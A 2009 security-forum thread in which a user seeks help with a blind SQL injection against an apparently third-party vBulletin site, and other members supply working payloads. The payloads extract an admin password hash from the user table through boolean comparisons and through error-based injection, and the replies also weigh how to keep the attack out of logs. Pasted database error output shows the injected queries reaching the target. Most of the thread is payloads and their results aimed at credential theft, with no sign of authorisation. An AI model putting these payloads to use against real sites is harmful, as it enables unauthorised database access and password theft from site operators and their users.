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Persistent iOS Compromise + Bricking (CVE-2025-24085 / 24201, CNVD-2025-07885) Struts2 and Related Framework Array/Collection DoS [REVIVE-SA-2025-002] Revive Adserver Vulnerability [REVIVE-SA-2025-001] Revive Adserver Vulnerability SEC Consult SA-20251021-0 :: Multiple Vulnerabilities in EfficientLab WorkExaminer Professional (CVE-2025-10639, CVE-2025-10640, CVE-2025-10641) [SYSS-2025-017]: Verbatim Store 'n' Go Secure Portable HDD (security update v1.0.0.6) - Offline brute-force attack IT Security and Insecurity Portal www.waraxe.us Forum Index -> Sql injection -> Sql injection in vbulletin problem View previous topic :: View next topic Sql injection in vbulletin problem Posted: Mon Feb 16, 2009 4:04 am delta Advanced user Joined: Jan 11, 2009 Posts: 60 Ok, I'm doing a blind in vbulletin and all working fine, but the problem is when i try to extract the information of the DB, all the responses i get is true :S If i try, for example, this: -1' AND(SELECT Count(password) FROM user)--+ I get a good response, as well if i try: -1' AND (SELECT length(password) FROM user where userid=1) > 1 No problem too. But now comes the problem, when i use: -1' AND ascii(substring((SELECT password FROM user where userid=1),1,1)) < 1 or >102 I only receive true answers. I'm almost sure that's the problem is with ascii(substring .... What can i do? Do i have any other way? Posted: Mon Feb 16, 2009 5:05 am tehhunter Valuable expert Joined: Nov 19, 2008 Posts: 261 Use SQL's IF() function in the format of IF(ASCII(SUBSTRING(password FROM 1 FOR 1))=97,1,2) Posted: Mon Feb 16, 2009 1:58 pm delta Advanced user Joined: Jan 11, 2009 Posts: 60 Don't work too. Sometimes i get the error too, look: <!-- Database error in vBulletin 3.7.4: Invalid SQL: SELECT * FROM `ups` WHERE online = '1' AND hidden = '0' AND autorizado = '1' AND equipe = '1' AND `tipolink` = '-1' AND IF(SELECT ascii(substring(password,1,1)) FROM user WHERE userid=1)<103-- ' ORDER BY id DESC LIMIT 10; MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SELECT ascii(substring(password,1,1)) FROM user WHERE userid=1)<103-- ' ORDER BY' at line 1 Error Number : 1064 Request Date : Monday, February 16th 2009 @ 02:37:35 PM Error Date : Monday, February 16th 2009 @ 02:37:35 PM Script : http://www.site.com/forum/portal.php?page=-1%27%20AND%20IF(SELECT%20ascii(substring(password,1,1))%20FROM%20user%20WHERE%20userid=1)%3C103--+ Referrer : IP Address : ***.***.***.*** Username : Não Registrado Classname : vB_Database MySQL Version : --> Posted: Wed Feb 18, 2009 11:10 pm -AO- Advanced user Joined: Jul 15, 2008 Posts: 205 Location: United States Try Code: ascii(lower(substring((SELECT password FROM user where userid=1),1,1)))=[#] I've had cases where <> doesn't work Posted: Mon Mar 23, 2009 12:48 am delta Advanced user Joined: Jan 11, 2009 Posts: 60 Same thing man =/ Any other idea? Posted: Mon Mar 23, 2009 8:29 am waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu delta wrote: Don't work too. Sometimes i get the error too, look: <!-- Database error in vBulletin 3.7.4: Invalid SQL: SELECT * FROM `ups` WHERE online = '1' AND hidden = '0' AND autorizado = '1' AND equipe = '1' AND `tipolink` = '-1' AND IF(SELECT ascii(substring(password,1,1)) FROM user WHERE userid=1)<103-- ' ORDER BY id DESC LIMIT 10; MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SELECT ascii(substring(password,1,1)) FROM user WHERE userid=1)<103-- ' ORDER BY' at line 1 Error Number : 1064 Request Date : Monday, February 16th 2009 @ 02:37:35 PM Error Date : Monday, February 16th 2009 @ 02:37:35 PM Script : http://www.site.com/forum/portal.php?page=-1%27%20AND%20IF(SELECT%20ascii(substring(password,1,1))%20FROM%20user%20WHERE%20userid=1)%3C103--+ Referrer : IP Address : ***.***.***.*** Username : Não Registrado Classname : vB_Database MySQL Version : --> You are confusing MySql "IF" statement and "IF()" function. From your example: Code: IF(SELECT ascii(substring(password,1,1)) FROM user WHERE userid=1) Instead IF() function expects 3 arguments! http://dev.mysql.com/doc/refman/5.0/en/control-flow-functions.html#function_if Try this tests: Code: -1'+AND+(SELECT+ORD(SUBSTR(password,1,1))+FROM+user+WHERE+userid%3d1)%3c103--+ -1'+OR+(SELECT+ORD(SUBSTR(password,1,1))+FROM+user+WHERE+userid%3d1)%3c103--+ As last resort you can use delay-based (benchmark, sleep) or error-based blind injection. First choice has poor performance, second is going to be errorlog-noisy, but they can usually save the day Posted: Wed Mar 25, 2009 1:16 am delta Advanced user Joined: Jan 11, 2009 Posts: 60 I tried your tests, the first one(AND) only return true =/. In the other string i don't get nothing when try >103, but <103 i get a fatal error of the script: Quote: Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 124781824 bytes) in /home/file/domains/lol.com/public_html/forum/upsajax.php(52) : eval()'d code on line 265 Funny, pretty sure that's a true answer, now i'm getting the point =) Posted: Wed Mar 25, 2009 8:06 am waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu One more way to exploit blind injection is based on provoking sql errors: Code: -1'+AND+IF(LENGTH(@@version)%3e1,(SELECT+1+UNION+ALL+SELECT+1),1)%3e1--+ -1'+AND+IF(LENGTH(@@version)%3e100,(SELECT+1+UNION+ALL+SELECT+1),1)%3e1--+ In one case you should get normal response, in other case sql error appears complaining about multiple rows This method is useful, if sql errors can be detected and drawback is that sql errors can be logged and can trigger someone's attention. Posted: Wed Mar 25, 2009 3:46 pm delta Advanced user Joined: Jan 11, 2009 Posts: 60 Thanks for the explanation waraxe, i appreciate your help. You're right, i got your point. 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